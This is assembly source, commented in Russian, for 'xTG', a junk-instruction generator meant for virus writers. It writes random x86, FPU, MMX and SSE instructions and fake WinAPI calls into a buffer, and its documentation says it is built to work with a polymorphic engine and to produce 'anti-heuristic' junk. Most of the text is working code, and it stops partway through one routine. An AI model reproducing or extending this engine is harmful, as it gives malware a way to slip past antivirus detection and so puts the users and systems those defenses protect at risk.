;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; ; ; xxxxxxxxxxxx xxxxxxxxxx ; ; xxxxxxxxxxxx xxxxxxxxxxx ; ; xxxx xxxx xxxx ; ; xxxx xxxx ; ; xxx xxx xxxx xxxx ; ; xxx xxx xxxx xxxx ; ; xxxxx xxxx xxxx xxxxx ; ; xxxxx xxxx xxxx xxxx ; ; xxx xxx xxxx xxxxxxxxxxx ; ; xxx xxx xxxx xxxxxxxxxx ; ; ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; eXperimental/eXtended/eXecutable Trash Generator ; ; xTG ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; :)! ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; функция xTG ; ; ЭКСПЕРИМЕНТАЛЬНЫЙ/РАСШИРЕННЫЙ/ИСПОЛНИМЫЙ ГЕНЕРАТОР МУСОРНЫХ ИНСТРУКЦИЙ ; ; ; ; ; ;ВХОД: ; ;1 параметр (и единственный) - адрес структуры (TRASHGEN) (ее описание смотри ниже) ; ;--------------------------------------------------------------------------------------------------------; ; ;ВЫХОД: ; ;EAX - адрес для дальнейшей записи (если таковая будет нужна) (записи например очередного мусора etc). ; ;А также записанная порция отменного дерьма (ака мусорных команд) по указанному адресу в указанном ; ;размере. ; ;--------------------------------------------------------------------------------------------------------; ;ЗАМЕТКИ: ; ;(+) структура, указатель на которую передан в качестве параметра, не портится, т.е. данные в ней после ; ; вызова генератора мусора остаются теми же. ; ;(+) если нахер не нужно генерить апишки или по другой причине, то закоментить тело подфунки fakeapi. ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; ! ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; ОПИСАНИЕ СТРУКТУРЫ ; ; TRASHGEN ; ; ; ; ; ;TRASHGEN struct ; ; rgen_addr dd ? ;адрес Генератора Случайных Чисел (ГСЧ) ; ; buf_for_trash dd ? ;адрес (буфер), куда записывать генерируемое (хех, качественное) дерьмо ; ; size_trash dd ? ;размер (в байтах), сколько мусора записать ; ; regs dd ? ;занятые регистры (2 шт) ; ; xmask1 dd ? ;64-битная маска для генерации ; ; xmask2 dd ? ;мусорных команд (ака фильтр) ; ; beg_addr dd ? ;начальный адрес ; ; end_addr dd ? ;конечный адрес ; ; mapped_addr dd ? ;зарезервировано (либо база мэпинга (aka адрес файла в памяти)) ; ; reserv1 dd ? ;зарезервировано (хз, может когда-то там что и будет) ; ;TRASHGEN ends ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; ! ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; ПОЯСНЕНИЕ К ПОЛЯМ СТРУКТУРЫ TRASHGEN: ; ; ; ; ; ;[ rgen_addr ] : ; ; так как данный движок (xTG) разработан без привязки к какому-либо другому мотору, ; ; а для генерации мусора важен ГСЧ, поэтому адрес ГСЧ хранится в (данном) поле ; ; структуры. ВАЖНО: если мотор xTG будет использовать другой ГСЧ (а не тот, который ; ; идет с ним в комплекте), надо, чтобы этот другой ГСЧ принимал в качестве 1-го ; ; (и единственного!) параметра в стэке число (назовем его N), так как поиск будет в ; ; диапазоне [0..n-1]. И на выходе другой ГСЧ должен возвращать в EAX случайное число. ; ; Остальные регистры должны остаться неизменными. Все. (нихера себе все :) ; ;--------------------------------------------------------------------------------------------------------; ;[ buf_for_trash ] : ; ; это может быть массив etc. Думаю, тут все и так ясно. ; ;--------------------------------------------------------------------------------------------------------; ;[ size_trash ] : ; ; укажете например 50 байт, вот столько байт мусорных команд сгенерятся и запишутся ; ; по указанному адресу. ; ;--------------------------------------------------------------------------------------------------------; ;[ regs ] : ; ; здесь подразумевается, что генератор, возможно, будет использоваться вместе с ; ; полиморфным движком. Можно указать ТОЛЬКО 2 занятых регистра. Лучше показать ; ; пример. Вот например так может выглядеть это поле: 0x00000201. Здесь 1 занятый ; ; регистр EDX (2), а 2-ой занятый ECX (1). Еще пример: 0x00000007. Здесь 1 занятый ; ; регистр EAX (0), 2-ой EDI (7). Т.е. видно, как примерно должно выглядеть это поле ; ; в структуре. Если, к примеру, мы хотим, чтобы 1 занятый регистр был ESI (6), а ; ; 2-ой EDX (2), то поле [ regs ] будет НЕ ТАКИМ 0x00000062 (это получится бред), а ; ; будет ТАКИМ 0x00000602. Что такое занятый регистр? Это регистры, в которых ; ; находятся какие то значения, и эти регистры изменять ни в коем случае нельзя. ; ; Движок xTG видит, что указаны занятые регистры, и попросту не будет их использовать ; ; для генерации команд, тем самым занятые регистры останутся нетронутыми ; ; (мда, наверное это надо было написать сразу). И не надо делать идиотских push перед ; ; и pop после вызова движка. Я например использую этот движок (xTG) в своем полиморфе ; ; (он кстате тоже в комплекте:)! ). Эти занятые регистры обычно используются в ; ; полиморфном движке. И в союзе с данным трэш геном можно получить охуительный ; ; результат. В общем, как всегда, кому надо, понял. ; ; ; ; ДЛЯ ТЕХ, КТО НИХЕРА НЕ ПОНЯЛ, МОЖНО ТУПО В ЭТОМ ПОЛЕ ВБИТЬ 0, 0xFF, 1 etc ; ; (если неважно, что сохранится в регистрах). ; ; ; ; ЕЩЕ: при большом желании можно данное поле расширить и на большее кол-во занятых ; ; регистров, один из примеров этого есть в данном движке. Смотри и изучай ; ; исходники. ; ; ; ; ESP & EBP - всегда сохраняются (не изменяются). Поэтому о них можно смело забыть. ; ;--------------------------------------------------------------------------------------------------------; ;[ xmask1 ] ; ; & ; ;[ xmask2 ] : ; ; еще одна особенность данного движка в том, что для генерации мусора он применяет ; ; маску (64-разрядную). Таким образом, можно генерировать только определенные ; ; команды. Это бывает нужно, например для генерации антиэвристического мусора, или ; ; наоборот, для пиздец хаоса. Применений куча. Сама же маска представляет собой два ; ; 32-битных числа (можно и расширить при необходимости), где каждый бит отвечает за ; ; определенную команду. Если бит равен 1, значит, включена генерация определенной ; ; команды. Если бит = 0, определенная команда генерироваться не будет. Например, ; ; пусть маска = 00000000000000001000000000100001b (xmask1) и 01b (xmask2). Видим, что ; ; выставлены биты (начиная отсчет от 1) 1, 6 и 16 в xmask1 и 1 в xmask2. Значит, ; ; разрешена генерация команд (INC/DEC/AAA/etc), (MOV REG32/REG16,IMM32/IMM16), ; ; (JXX NEAR) и (NOP/CMC/CLD/etc). Т.е. 1-ый бит отвечает за генерацию 1-ой группы ; ; команд (INC/DEC), что в табличке ниже, 16-ый бит за генерацию 16-ой группы команд ; ; (MOV) т.д.. В общем, смотрим в табличку. ; ; ; ; ВАЖНО: самый старший бит маски (в xmask1) отвечает за хаос. ; ; За подробностями - смотри исходники. ; ; ; ; БУЛЬТЕ ОСТОРОЖНЫ! НЕ ИСПОЛЬЗУЙТЕ ОДНОВРЕМЕННО ГЕНЕРАЦИЮ MMX/SSE & one_byte, т.к. ; ; это может привести к исключению. Если надо, то чередуйте их ; ; (сначала включите одно, но выключите другое и т.д.). ; ; ; ; ЕЩЕ: лучше всегда держите включенным самый младший бит (в xmask1), чтобы все было ; ; супер. Иначе может произойти зацикливание. ; ; ; ; ДЛЯ ТЕХ, КТО НИХЕРА НЕ ПОНЯЛ, МОЖНО ТУПО В ЭТОМ ПАРАМЕТРЕ ВБИТЬ ; ; 0xFFFFFFFF (xmask1) и 0x00 (xmask2). ; ; (если неважно, какой мусор сгенерируется). ; ;--------------------------------------------------------------------------------------------------------; ;[ beg_addr ] ; ; и ; ;[ end_addr ] : ; ; если эти параметры !=0, тогда они должны содержать реальные адреса, по которым ; ; можно будет записывать всякую хрень. Эти адреса используются для генерации например ; ; такого мусора: mov [0x004010F0],edx. Где начальный адрес например может быть таким ; ; 0x00401000. А конечный 0x00402000. И все адреса в этом диапазоне могут быть ; ; задействованы. Если же нахер не надо таких команд генерить, тогда следует отключить ; ; нужный бит в маске, либо же в этих параметрах передать нули, или сделать и то и ; ; другое. ; ; ; ; ДЛЯ ТЕХ, КТО НИХЕРА НЕ ПОНЯЛ, МОЖНО ТУПО В ЭТИХ ПАРАМЕТРАХ ВБИТЬ НУЛИ. ; ;--------------------------------------------------------------------------------------------------------; ;[ mapped_addr ] : ; ; это поле зарезервировано. Либо же сюда (можно) положить базу мэпинга (ака адрес ; ; файла в памяти), а также в маске взвести нужный бит в 1 и расскоментировать (при ; ; необходимости) содержимое подфункции fakeapi, которая находится в данном движке. ; ; Это все для того, чтобы можно было генерить фэйковые апишки. ; ; В таком случае будет произведен поиск и генерация тех апишек, которые заранее ; ; подготовлены в модуле [ faka.asm ] и какая-либо из этих апишек найдена в ; ; спроецированном в память файле. Подробности по генерации фэйковых винапи читай в ; ; [ faka.asm ] (FAKA). Вот. ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; y0p! ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; ФИЧИ ; ; ; ; ; ;(+) генерация основных инструкций (мусорных) (1, 2, 3, 4, 5, 6 байтов) ; ; * также генерация call, jmp, jxx, loop, mov/xchg/lea/cmp [address]/REG,REG/[address] etc; ; ; * связка cmp/test + jxx (условный переход) - т.е. если есть cmp/test, то за ним сразу идет jxx; ; ;--------------------------------------------------------------------------------------------------------; ;(+) генерация fpu/mmx/sse инструкций ; ;--------------------------------------------------------------------------------------------------------; ;(+) генерация инструкций по маске (фильтрация): ; ; * возможность генерирования антиэвристического, хуического, специального мусора, etc; ; ;--------------------------------------------------------------------------------------------------------; ;(+) возможность генерировать прологи и эпилоги (отдельно или вместе) ; ;--------------------------------------------------------------------------------------------------------; ;(+) возможность генерировать Fake WinApi ; ;--------------------------------------------------------------------------------------------------------; ;(+) базонезависимость ; ;--------------------------------------------------------------------------------------------------------; ;(+) нет привязки к другим движкам (ГСЧ можно юзать любой - условия читай выше;) ; ; * можно компилить как самостоятельный модуль; ; ;--------------------------------------------------------------------------------------------------------; ;(+) не юзает WinAPI ; ;--------------------------------------------------------------------------------------------------------; ;(X) при желании можно убрать все данные достаточно просто для мутации движка ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; y0p! ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; ИСПОЛЬЗОВАНИЕ: ; ; ; ; ; ;1) Подключение: ; ; xTG.asm ; ;2) Вызов (пример stdcall): ; ; ... ; ; szBuf db 100 dup (00h) ; ; ... ; ; lea ecx,szBuf ; ; assume ecx:ptr TRASHGEN ; ; mov [ecx].rgen_addr,00401000h ;по этому адресу должен находиться ГСЧ ; ; mov [ecx].buf_for_trash,00402000h ;по этому адресу будем записывать мусор ; ; mov [ecx].size_trash,100 ;запишем 100 байт мусора ; ; mov [ecx].regs,0203h ;нельзя использовать в мусоре регистры EDX (2) & EBX (3) ; ; mov [ecx].xmask1,08Fh ;по маске разрешена генерация следующих команд ; ; ;(0000008fh==10001111b): ; ; ;inc_dec_r32, ; ; ;not_neg_r32, ; ; ;lea_r32_mem32, ; ; ;mov_xchg_32, ; ; ;add_sub_r8. ; ; ;остальные параметры обнулены. ; ; call xTG ;вызываем генератор мусорных команд ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;v1.0.1 ; m1x ;pr0mix@mail.ru ;EOF ;======================================================================================================== ;структура TRASHGEN, необходимая для данного генератора ;======================================================================================================== TRASHGEN struct rgen_addr dd ? buf_for_trash dd ? size_trash dd ? regs dd ? xmask1 dd ? xmask2 dd ? beg_addr dd ? end_addr dd ? mapped_addr dd ? reserv1 dd ? TRASHGEN ends ;======================================================================================================== NUM_CMD equ 39;33 ;количество возможных команд (групп команд) ;при добавлении нового элемента в табличку, увеличить это значение FOREBP equ 1Ch ;вспомогательная константа (для генерации команд подобных mov reg,dword ptr [ebp-0xXX] etc) xTG: pushad ;сохраняем регистры mov ebp,dword ptr [esp+24h] assume ebp:ptr TRASHGEN call _delta_trash_ ;-------------------------------------------------------------------------------------------------------- _delta_trash_: pop ebx ;получаем дельта-смещение mov ecx,[ebp].size_trash ;в ecx сохраняем размер мусора, который надо сгенерить mov edi,[ebp].buf_for_trash ;в edi - адрес, куда будем записывать этот мусор cld ;-------------------------------------------------------------------------------------------------------- _mask_trash_: lea esi,[ebx+(_table_ - _delta_trash_)] ;получаем адрес таблички, в которой хранятся расстояния (в байтах) подфункций push NUM_CMD ;количество элементов в табличке call [ebp].rgen_addr ;вызываем ГСЧ cmp eax,30 ;если >30, значит будем проверять биты по 2-ой половине маски jg _2mask_ _1mask_: bt [ebp].xmask1,eax ;проверяем биты по 1-ой половинке маски (у нас маска 64-битная) (типа фильтрация:) jnc _mask_trash_ ;бит не установлен? jmp _gotoinstr_ _2mask_: push eax sub eax,30+1 bt [ebp].xmask2,eax ;проверяем биты по 2-ой половине маски pop eax jnc _mask_trash_ _gotoinstr_: shl eax,1 ;умножаем eax на 2 add eax,esi ;добавляем смещение _table_ movzx eax,word ptr[eax] ;считываем расстояние по полученному (случайному) смещению add eax,esi ;прибавляем его к смещению call eax ;и переходим на данную метку jmp _mask_trash_ ;по новой:)! ;======================================================================================================== _table_: ;табличка расстояний dw (offset inc_dec_r32 - offset _table_) ;0 ;1 dw (offset not_neg_r32 - offset _table_) ;1 ;2 dw (offset lea_r32_mem32 - offset _table_) ;2 ;3 dw (offset mov_xchg_r32 - offset _table_) ;3 ;4 dw (offset mov_xchg_r8 - offset _table_) ;4 ;5 dw (offset mov_r_imm - offset _table_) ;5 ;6 dw (offset add_sub_r - offset _table_) ;6 ;7 dw (offset add_sub_r8 - offset _table_) ;7 ;8 dw (offset add_sub_r32_imm - offset _table_) ;8 ;9 dw (offset shl_shr_r_imm8 - offset _table_) ;9 ;10 dw (offset push_pop_r32_imm - offset _table_) ;10 ;11 dw (offset cmp_r_imm - offset _table_) ;11 ;12 dw (offset test_r - offset _table_) ;12 ;13 dw (offset jxx_short_down - offset _table_) ;13 ;14 dw (offset jxx_short_up - offset _table_) ;14 ;15 dw (offset jxx_near_down - offset _table_) ;15 ;16 dw (offset jxx_near_up - offset _table_) ;16 ;17 dw (offset jmp_short - offset _table_) ;17 ;18 dw (offset jmp_near - offset _table_) ;18 ;19 dw (offset call_near - offset _table_) ;19 ;20 dw (offset loopx_r32 - offset _table_) ;20 ;21 dw (offset three_byte_r - offset _table_) ;21 ;22 dw (offset cmovx_r32 - offset _table_) ;22 ;23 dw (offset bswap_r32 - offset _table_) ;23 ;24 dw (offset mov_lea_esp - offset _table_) ;24 ;25 dw (offset cmp_esp - offset _table_) ;25 ;26 dw (offset mov_lea_addr - offset _table_) ;26 ;27 dw (offset cmp_addr - offset _table_) ;27 ;28 dw (offset fpux - offset _table_) ;28 ;29 dw (offset mmxx - offset _table_) ;29 ;30 dw (offset ssex - offset _table_) ;30 ;31 ;-------------------------------------------------------------------------------------------------------- dw (offset one_byte - offset _table_) ;0 ;1 dw (offset setx_r8 - offset _table_) ;1 ;2 dw (offset prolog1 - offset _table_) ;2 ;3 dw (offset epilog1 - offset _table_) ;3 ;4 dw (offset fakeapi - offset _table_) ;4 ;5 dw (offset mov_lea_ebp - offset _table_) ;5 ;6 dw (offset cmp_ebp - offset _table_) ;6 ;7 dw (offset add_sub_ebp - offset _table_) ;7 ;8 ;======================================================================================================== ;===================================[ INC/DEC reg32 ]==================================================== inc_dec_r32: test ecx,ecx ;весь ли мусор уже записан je end_trash ;если да, то прекращаем генерировать команды push 2 call [ebp].rgen_addr ;что будем генерить: INC/DEC ? shl eax,3 ;иначе генерим INC/DEC add al,40h xchg eax,edx call free_reg ;вызываем функцию генерации свободного регистра (32-разрядный) add al,dl stosb ;пихаем сгенерированный опкод в буфер dec ecx ;уменьшаем счетчик на размер только что сгенеренной команды ret ;на выход, товарищи:)! ;===================================[ INC/DEC reg32 ]==================================================== ;===============================[ AAS/AAD/NOP/CLC/CLD/etc ]============================================== one_byte: test ecx,ecx je end_trash lea esi,[ebx+(one_byte_opcode - _delta_trash_)] ;опкоды тянем с таблички call rnd_reg ;в данном случае функция используется как ГСЧ [0;7] add esi,eax mov eax,[ebp].regs ;в EAX кладем занятые регистры test ah,ah ;проверяем, 1-ый занятый регистр это EAX? (bh==0 ?) je @F ;если да, то генерировать такие команды как AAA нельзя, перепрыгиваем test al,al ;проверяем, 2-ой занятый регистр это EAX? (bl==0 ?) je @F ;etc bt eax,31 ;далее, смотрим, установлен ли еще и 3-ий занятый регистр? jnc _2half_ ;если нет, то теперь точно можно генерить такие команды как AAA shr eax,16 cmp al,0 je @F _2half_: push 7;6 ;можно генерить команды AAA,AAS etc (т.е. те, которые влияют на EAX) call [ebp].rgen_addr ;вызываем ГСЧ add esi,eax @@: movsb ;пихаем в буфер полученный опкод dec ecx ;счетчик-- _1bret_: ret ;возврат ;===============================[ AAS/AAD/NOP/CLC/CLD/etc ]============================================== ;=======================================[ NOT/NEG reg32 ]================================================ not_neg_r32: cmp ecx,2 ;проверка jl inc_dec_r32 ;если все записано, выходим mov al,0F7h ;иначе генерируем инструкцию NOT/NEG reg32 stosb call free_reg ;получаем свободный регистр (32 разряда) add al,0D0h xchg eax,edx push 2 call [ebp].rgen_addr ;генерим СЧ shl al,3 add al,dl stosb ;пихаем в буфер dec ecx ;счетчик-=2 dec ecx ret ;выходим ;=======================================[ NOT/NEG reg32 ]================================================ ;===================[ (LEA REG32,[VALUE32])/(LEA REG32,[REG32+VALUE32]) ]================================ lea_r32_mem32: cmp ecx,6 ;проверка (6 байт будет занимать такая мусорная команда) jl _lret_ mov al,8Dh ;если проверка успешно, пройдена - генерим данную команду (дальше аналогично все) stosb ;записываем 1-ый байт команды push 2 call [ebp].rgen_addr ;далее случайно определяем, какая из 2-х вариантов команды будет генериться? shl eax,7 xchg edx,eax call free_reg ;получаем свободный регистр (32-разрядный) shl al,3 test edx,edx je _lmem_ add edx,eax call free_reg add eax,edx jmp @F _lmem_: add al,5 @@: stosb push -1 call [ebp].rgen_addr stosd sub ecx,6 ;вычитаем длину только что сгенерированной команды LEA (6 байт) _lret_: ret ;выходим ;===================[ (LEA REG32,[VALUE32])/(LEA REG32,[REG32+VALUE32]) ]================================ ;==================================[ MOV/XCHG REG32,REG32 ]============================================== mov_xchg_r32: cmp ecx,2 ;если длина генерируемой команды jl inc_dec_r32 ;меньше 2, то выходим из функции push 6 ;иначе, call [ebp].rgen_addr ;выбираем, что будет генериться? MOV(0x8B или 0x89) или XCHG ? cmp al,1 jg _0x8B_ shl eax,1 add al,87h jmp _0x87_0x89_ _0x8B_: mov al,8bh _0x87_0x89_: stosb call free_reg shl eax,3 add al,0c0h xchg edx,eax call free_reg add al,dl stosb dec ecx ;счетчик-=2 dec ecx ret ;на выход ;==================================[ MOV/XCHG REG32,REG32 ]============================================== ;===========================[ (MOV REG8,REG8/IMM8)/(XCHG REG8,REG8) ]==================================== mov_xchg_r8: cmp ecx,2 ;etc jl inc_dec_r32 push 7 call [ebp].rgen_addr cmp al,6 je _0xB0_ cmp al,1 jg _0x8A_ shl eax,1 add al,86h jmp _0x86_0x88_ _0x8A_: mov al,8Ah _0x86_0x88_: stosb call free_reg_r8 ;здесь вызываем функцию генерацию 8-разрядного регистра shl eax,3 add al,0C0h xchg eax,esi call free_reg_r8 add eax,esi stosb jmp _mret_ ;-------------------------------------------------------------------------------------------------------- _0xB0_: call free_reg_r8 add al,0B0h stosb push 256 call [ebp].rgen_addr stosb ;-------------------------------------------------------------------------------------------------------- _mret_: dec ecx dec ecx ret ;===========================[ (MOV REG8,REG8/IMM8)/(XCHG REG8,REG8) ]==================================== ;================================[ MOV REG32/REG16,IMM32/IMM16 ]========================================= mov_r_imm: cmp ecx,5 jl _m2ret_ push 4 call [ebp].rgen_addr ;будем генерить 0x66 с вероятность 1/4 cdq test eax,eax jne _m2r32_ ;-------------------------------------------------------------------------------------------------------- mov al,066h ;записываем префикс stosb xchg eax,edx ;edx=0x66 inc ecx ;корректировка счетчика ;-------------------------------------------------------------------------------------------------------- _m2r32_: call free_reg ;получаем свободный 32-разрядный регистр add al,0b8h stosb push -1 call [ebp].rgen_addr ;генерим СЧ в диапазоне [0;0xffffffff) stosw ;И помещаем его в буфер cmp dl,066h je @F db 0fh,0c8h ;bswap eax stosw @@: sub ecx,5 ;Уменьшаем счётчик на 4 _m2ret_: ret ;выходим ;================================[ MOV REG32/REG16,IMM32/IMM16 ]========================================= ;====================[ ADC/ADD/AND/OR/SBB/SUB/XOR REG32/REG16,REG32/REG16 ]============================== add_sub_r: cmp ecx,03h ;влезает ли ? jl _aret_ push 02h call [ebp].rgen_addr ;СЧ test eax,eax ;генерировать ли также 0x66? je _ar32_ ;-------------------------------------------------------------------------------------------------------- mov al,66h ;мутим:)! stosb ;кладем в буфер dec ecx ;корректировка счетчика ;-------------------------------------------------------------------------------------------------------- _ar32_: push 7;4 ;генерим уже саму команду call [ebp].rgen_addr shl eax,3;04h ;с таким же успехом можно было и ебашить cmp, но это хуета, поэтому пропускаем xchg eax,edx push 4 call [ebp].rgen_addr or al,1 ;маленькая хитрость :)! add al,dl stosb call free_reg ;получаем свободный регистр (32 разряда) shl al,03h xchg edx,eax add dl,0C0h call free_reg ;получаем 2-ой свободный регистр add al,dl stosb ;пихаем в буфер dec ecx dec ecx ;уменьшаем счетчик на 2 и выходим _aret_: ret ;====================[ ADC/ADD/AND/OR/SBB/SUB/XOR REG32/REG16,REG32/REG16 ]============================== ;===========================[ ADC/ADD/AND/OR/SBB/SUB/XOR REG8,REG8 ]===================================== add_sub_r8: cmp ecx,02h ;влезает ли ? jl inc_dec_r32 push 7;4 ;генерим уже саму команду (смотри выше, аналогично) call [ebp].rgen_addr shl eax,3;04h xchg eax,edx push 4 call [ebp].rgen_addr and al,2 ;еще одна маленькая хитрость ;) add al,dl stosb call free_reg_r8 ;получаем свободный регистр shl al,03h add al,0C0h xchg eax,esi call free_reg_r8 ;получаем 2-ой свободный регистр add eax,esi stosb ;пихаем в буфер dec ecx dec ecx ret ;уменьшаем счетчик на 2 и выходим ;===========================[ ADC/ADD/AND/OR/SBB/SUB/XOR REG8,REG8 ]===================================== ;==========================[ ADC/ADD/AND/OR/SBB/SUB/XOR REG32,IMM32 ]==================================== add_sub_r32_imm:;+imm8 cmp ecx,6 ;снова проверка jl _a3ret_ push 2 call [ebp].rgen_addr mov esi,eax shl eax,1 add al,81h stosb push 7 call [ebp].rgen_addr shl al,3;4 == CMP xchg edx,eax add dl,0C0h call free_reg ;etc add al,dl stosb push -1 call [ebp].rgen_addr test esi,esi je _a3imm32_ stosb sub ecx,3 ret ;add ecx,3 ;jmp @F _a3imm32_: stosd @@: sub ecx,6 ;Уменьшаем счётчик на 6 _a3ret_: ret ;выходим ;==========================[ ADC/ADD/AND/OR/SBB/SUB/XOR REG32,IMM32 ]==================================== ;======================[ RLC/RCR/ROL/ROR/SAL/SAR/SHL/SHR REG32/REG8,IMM8 ]=============================== shl_shr_r_imm8: cmp ecx,3 ;проверка jl inc_dec_r32 push 2 ;далее "случайно" определяем, какой регистр (8 или 32) будет генериться call [ebp].rgen_addr mov esi,eax add al,0c0h stosb ;и начинаем генерить данную команду call rnd_reg ;в данном случае получаем случайное число [0..7] ;оно нам нужно для того, чтобы построить или RCL, или SHR etc shl al,3 ; add al,0c0h push eax test esi,esi ;если выпала генерация команды с 8-разрядным регистром, jne _sr32_ call free_reg_r8 ;то получим свободный 8-разрядный регистр jmp @F _sr32_: call free_reg ;иначе получим свободный 32-разрядный регистр @@: pop edx add al,dl stosb ;записываем очередной байт команды push 31 ;32;-1 ;генерим случайный байт call [ebp].rgen_addr inc eax ;!или закоментить данную команду stosb ;и пихаем его в буфер sub ecx,3 ;уменьшаем счетчик на 3 ret ;выходим ;======================[ RLC/RCR/ROL/ROR/SAL/SAR/SHL/SHR REG32/REG8,IMM8 ]=============================== ;======================[ PUSH REG32/IMM8/IMM32/[esp+x] POP REG32/[esp-x] ]=============================== push_pop_r32_imm: push 30 ;Генерим случайное число call [ebp].rgen_addr mov edx,eax add al,9 ;Добавляем 9 (максимальное из возможных вариков) cmp eax,ecx ;Если длина генерируемых jg _pret_ ;инструкций больше, чем сколько может влезть, то на выход push 10 ;снова генерим случайное число call [ebp].rgen_addr cmp eax,2 ;выбираем, какой пуш мутить:) jl _0x6A_ je _0x68_ cmp eax,4 jl _0xFFesp_ je _0xFF_ ;-------------------------------------------------------------------------------------------------------- _0x50_: call rnd_reg add al,50h ;push reg (0x50) stosb jmp @F ;прыгаем дальше ;-------------------------------------------------------------------------------------------------------- _0x6A_: mov al,6ah ;push imm8 (0х6А 0xXX) stosb push -1 call [ebp].rgen_addr stosb ;Кладём в буфер dec ecx ;корректируем длину реально записываемых байт jmp @F ;-------------------------------------------------------------------------------------------------------- _0x68_: mov al,68h ;push imm32 (0x68 0xXX 0xXX 0xXX 0xXX) stosb push -1 call [ebp].rgen_addr stosd sub ecx,4 ;корректируем jmp @F ;-------------------------------------------------------------------------------------------------------- _0xFFesp_: mov ax,074FFh ;push dword ptr [esp+0xXX] stosw mov al,24h stosb push 11h call [ebp].rgen_addr lea esi,[eax+4] ;здесь делаем число кратным 4 and eax,3 sub esi,eax xchg eax,esi stosb sub ecx,3 jmp @F ;-------------------------------------------------------------------------------------------------------- _0xFF_: mov al,0ffh ;push reg (0xff 0xf0+r) stosb call rnd_reg add al,0f0h stosb dec ecx ;-------------------------------------------------------------------------------------------------------- @@: push [ebp].buf_for_trash ;так как переданную структуру мы портить не будем, поэтому сначала сохраним старые значения, а новые запишем push [ebp].size_trash mov [ebp].buf_for_trash,edi mov [ebp].size_trash,edx push ebp ;передаем адрес структуры call xTG ;генерим порцию мусора (рекурсия) pop [ebp].size_trash ;восстановим ранее сохраненные значения pop [ebp].buf_for_trash xchg eax,edi ;-------------------------------------------------------------------------------------------------------- call rnd_reg ;далее "случайно" опрделяем, какой поп генерить test eax,eax jne _0x58pop_ mov eax,0FC24448Fh ;pop dword ptr [esp-XX] stosd sub ecx,3 jmp @F ;или ;-------------------------------------------------------------------------------------------------------- _0x58pop_: call free_reg ;pop reg add al,58h stosb @@: sub ecx,edx ;Уменьшаем счётчик на edx dec ecx dec ecx ;еще уменьшаем счетчик _pret_: ret ;выходим ;======================[ PUSH REG32/IMM8/IMM32/[esp+x] POP REG32/[esp-x] ]=============================== ;===================================[ CMP REG8/IMM8/REG32 ]============================================== cmp_r_imm: cmp ecx,54 ;54 байта = 50 байт мусора для jxx + 2 байта для jxx + 2 байта для cmp jl _cret_ ;если оставшихся для записи байт не достаточно, то выходим push 3 ;иначе начинаем генерить команду call [ebp].rgen_addr add al,3ah stosb call rnd_reg add al,0C0h xchg eax,edx call rnd_reg shl al,3 add al,dl stosb dec ecx dec ecx jmp jxx_short_down ;после того, как команда построена, переходим на генерацию jxx (т.к. cmp без jxx - это бредняк) _cret_: ret ;===================================[ CMP REG8/IMM8/REG32 ]============================================== ;=====================================[ TEST REG8/REG32 ]================================================ test_r: cmp ecx,54 ;смотри выше jl _tret_ push 2 call [ebp].rgen_addr ;определяем, какой из регистров будут использоваться (т.е. 8 или 32 хразрядные) add al,84h stosb call rnd_reg add al,0C0h xchg eax,edx call rnd_reg shl al,3 add al,dl stosb dec ecx dec ecx jmp jxx_short_down ;аналогично, смотри выше _tret_: ret ;=====================================[ TEST REG8/REG32 ]================================================ ;=====================================[ JXX SHORT IMM8 ]================================================= jxx_short_down: ;ГЕНЕРАЦИЯ JXX SHORT прыгающего вниз (на больший адрес) push 50 ;Генерируем случайное число call [ebp].rgen_addr mov edx,eax inc eax ;добавляем длину генерируемой команды (в данном случае это короткий (2 байта) jmp) inc eax ;для подобных случаев аналогично (только кол-во байтов может быть естесно другим) cmp eax,ecx ;Проверяем, влезет ли? jg _jxxsdret_ ;если нет, то выходим 